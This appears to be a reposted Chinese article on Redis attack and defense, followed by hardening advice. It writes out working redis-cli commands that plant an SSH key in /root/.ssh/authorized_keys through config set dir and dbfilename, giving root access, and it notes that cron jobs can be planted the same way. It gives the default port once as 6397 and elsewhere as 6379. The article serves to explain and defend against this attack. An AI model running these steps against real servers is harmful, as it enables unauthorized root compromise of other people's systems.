Redis攻与防

概述

近期出现一些redis弱口令服务器被利用提权的情况,为确保redis安全稳定运行,特编写此文,从原理上理解redis提权路径,以及防范方法。

入侵途径

入侵原理

侵入者通过端口扫描工具扫描redis端口(6397)后,通过密码字典等方式去登录redis,一旦登录成功,就可以通过保存redis数据的方式将想要的数据生成的想要的地方,比如:

生成ssh信任到.ssh文件夹下就可以连接linux

生成想要的作业计划到cron既可以定时任务执行任何想要的脚本。

测试redis生成文件

测试生成文件到/root/.ssh/authorized_keys

1

准备ssh验证数据

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub;echo -e "\n\n")>foo.txt

之所以前后加上两个回车,是因为redis在save保存文件时会在最前面加上几个特定字符,加上两个回车后在.ssh中才会被认为是一条正确的数据。

2

将foo.txt写入到redis的key中

第一步先删除所有key,以免key太多保存文件太大;

[root@oracle_hostname redis]# redis-cli

127.0.0.1:6379> flushall

OK

[root@oracle_hostname redis]# cat foo.txt | redis-cli -x set pwn

3

保存到指定位置

127.0.0.1:6379> config set dir /root/.ssh/

OK

127.0.0.1:6379> config get dir

1) "dir"

2) "/root/.ssh"

127.0.0.1:6379> config set dbfilename "authorized_keys"

OK

127.0.0.1:6379> save

OK

4

查看生成的文件

可以看到前面一部分是redis生成的固定的字符串,后面是value值

这样我们就拿到linux root权限了。

防范方法

从入侵途径可以看出通过redis入侵的关键是:

网络暴露,被扫描到6379

redis没有密码,或弱密码

redis运行用户权限过高,可以写.ssh,cron等特殊权限

linux密码过于简单,被用作跳板机扫描

linux层面防范

修改默认22端口,减少被扫描暴力破解概率

提升密码复杂度

停用不必要的服务与端口

建立专用的redis运行的OS用户

只针对需要连接的服务器开放redis端口

Redis层面防范

修改默认6379端口,因为大部分入侵都是扫这个默认端口

提升redis密码复杂度

禁用redis高危命令

以低权限用户运行redis

redis配置文件中绑定IP,避免所有IP都对外开放

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20180804G0JLSM00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。

扫码关注云+社区

领取腾讯云代金券